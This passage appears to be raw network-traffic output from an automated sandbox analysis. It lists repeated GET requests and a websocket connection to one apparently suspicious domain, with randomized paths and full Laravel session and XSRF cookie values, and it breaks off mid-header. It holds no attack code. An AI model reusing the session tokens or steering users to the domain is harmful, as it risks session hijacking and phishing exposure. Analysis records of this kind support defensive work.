XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijnd9WI2swr3KhCMK2bXk7NO7Iop5ndR6Sx7dTSErq3S0c1Qe36iT8Iyz228 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: jcq36.einewomi.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://jcq36.einewomi.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3DSec-WebSocket-Key: 54sAzKuJULwEb+9hbp4ThQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /klnKXIDTw6njKjUToXUWnIfQmP23S5BdZkCuZ9bmo56EPKEf8G6ddzcLmhpUXmMDwx219 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrLs7Dn8lp4Gow0sl0LIw3toGAEsOGXef8pFFrJ39Ftha1Mn4N45137 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn2tvkDL0be18LjQsWGZKqwE0CYAeDAtybmuvh00UnDQUQO7h4eUGNnD90145 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijOfinxA7CvHEQtqSiH0dm44FbnCcdGY7Mn76sJFMRmjfT6Mk78168 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxvmmr0dvvMRPJAsjsIlZCtz2ev3opgvXt8OR3buSD34130 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijnd9WI2swr3KhCMK2bXk7NO7Iop5ndR6Sx7dTSErq3S0c1Qe36iT8Iyz228 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzOjGmJZRfp6MuDr3pmkD5LZxwLbSd0sUt315UrsOHo8W9f7PGnesPXgKkUab175 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsa4mS61xGUn0buMs3WF6CuvpI65UD2BYSQqVDOb9wWKBf92Edef200 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghdwLwhtUo6JsNMGaykPpPmURTIsJDWlY9ZJvklNhTvmC6ukVYDmzvSTvxthORbvG7OuyBvef210 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opQ1VLLxlmCyN0H1bJZA12Sf5aAzBd7njDwdYX50uvvGCU6B7h61ClQhaEkS3imef240 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ajs3vQkF6me832n2I0kJAyFST9MVlOeyQ4NMkb1NFQ6YwIlSyQtGtSL6YGv0t HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 